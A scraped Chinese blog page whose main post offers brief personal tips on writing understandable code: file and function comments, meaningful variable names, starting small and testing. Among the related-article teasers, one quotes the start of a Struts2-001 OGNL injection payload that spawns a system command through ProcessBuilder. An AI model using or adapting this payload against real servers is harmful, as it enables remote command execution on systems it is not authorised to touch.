网站首页
编程语言
数据库
系统相关
其他分享
编程问答
首页
>
其他分享
>代码整理
代码整理
时间:2023-05-29 15:01:05
浏览次数:43
标签:
功能
代码
命名
乱弄
一段
整理
整理下自己写代码过程中的体会,写出一段自己永远都懂的代码是多么重要。
写好文件注释,这个文件的主要功能是什么。
函数执行的是什么功能。
变量命名尽量做到见名知意,如果不能的话可以做个说明,方便理解或修改。
先从短的可执行代码开始,然后再推广封装。写的过程中注意逻辑不到位的地方,可以多找些例子测试一遍。
在使用代码实现算法时,要确保这一段代码确实实现了想要的功能。该存储的数据要存下来,命名规则等自己规定清楚。不要乱弄。
标签:
功能
,
代码
,
命名
,
乱弄
,
一段
,
整理
From: https://www.cnblogs.com/yuyuanliu/p/17440453.html
相关文章
二叉排序树的三种遍历方式和实现源代码
二叉排序树(BinarySearchTree)是一种特殊的二叉树,它满足以下性质:对于树中的每个节点,其左子树中的所有节点的值都小于该节点的值,而右子树中的所有节点的值都大于该节点的值。这种特性使得对于二叉排序树的遍历具有一定的规律。前序遍历(PreorderTraversal)是一种遍历二叉树的方法。......
为什么微软 Windows 会对没有代码签名证书的软件如此“赶尽杀绝”呢?
不知到你是否出现过打开软件收到windows系统的阻止,提示“来自未知发布者的此应用”,或者使用Edge浏览器下载软件被阻止,提示软件可能有害。这都是因为软件缺少代码签名。代码签名通过对软件和应用进行数字签名,能够有效防止软件包被第三方篡改。通常情况下,代码签名证书能够同时为多......
使用 Java 代码调用 openAI 的 ChatGPT API
前提:在https://beta.openai.com/account/api-keys注册一个自己的APIkey.要在JavaSpringFramework中使用OpenAIAPI,您需要使用一个能够处理HTTP请求的库。其中一个流行的库是SpringRestTemplate库。RestTemplate是一个强大而灵活的库,可以轻松地发送HTTP请求并处理响应。首......
设备代码18位啥意思
以下是Python实现的设备代码18位含义的代码:defdecode_device_code(device_code):iflen(device_code)==18:manufacturer_code=device_code[:6]product_code=device_code[6:12]serial_number=device_code[12:]returnf"Thedev......
代码随想录算法训练营第二十天|654. 最大二叉树、617. 合并二叉树、700. 二叉搜索树
【参考链接】654.最大二叉树【注意】1.构造二叉树,都需要用前序遍历。2.二叉树的根是数组中的最大元素。3.没必要构造新数组,通过下标控制左右区间。运行效率会高很多。【代码】1#Definitionforabinarytreenode.2#classTreeNode(object):3#def__init......
HUSTOJ特判程序Special Judge使用方法整理
SpecialJudge通常的ACM题目包括以下几项内容:题目描述(Description)、输入描述(Input)、输出描述(Output)、样例输入(SampleInput)、样例输出(SampleOut),在后台则包括测试输入(InputData)和测试输出(OutputData)两项。在评测用户提交的程序正确与否时,系统会将样例输入和测试输......
500行代码手写docker-实现硬件资源限制cgroups
(5)500行代码手写docker-实现硬件资源限制cgroups本系列教程主要是为了弄清楚容器化的原理,纸上得来终觉浅,绝知此事要躬行,理论始终不及动手实践来的深刻,所以这个系列会用go语言实现一个类似docker的容器化功能,最终能够容器化的运行一个进程。本章的源码已经上传到github,地址如......
从0到1?不!真实的IT工作是如何面对遗留代码
今天,我要给你们讲一个真实的故事,一个关于遗留代码的故事。故事的主人公是我朋友小明(化名),我们后就没有见面,最近见面聊起了他的一段往事。多年前小明刚刚加入了一家新公司,心里有些期待,也有些紧张。他被分派到公司的前沿产品的项目组,虽然是前沿产品但是他的任务就是改进一款旧有系统,你......
Struct2系列漏洞POC整理
Struct2-001%{#a=(newjava.lang.ProcessBuilder(newjava.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=newjava.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#co......
云管代码
云贵项目1.CloudAccountCheckJob账号状态检查com.chinasofti.cloudeasy.resource.sync.AccountCheck2.TenantShareAccountSync给租户分配资源池com.chinasofti.cloudeasy.resource.sync.TenantShareAccountSync3.AccountSyncCheck账号自动同步检测(资源同步主任务,分发子任务14......
赞助商
阅读排行
Python3网络爬虫浓缩系列
visual studio 2022离线安装包制作教程
#yyds干货盘点# 前端歌谣的刷题之路-第一百三十七题-可伸缩属性
Codeforces
使用U盘制作启动盘并重装系统
编写HelloWorld程序
departments/components/add.vue
1081. 度的数量
js- day03- 将数据变成柱形图
nginx使用
leetcode 22 括号生成
webrtc-streamer实现简单rtsp视频监控
wordpress外贸独立站商城 如此简单
函数练习错题
利用TableAdapter更新数据库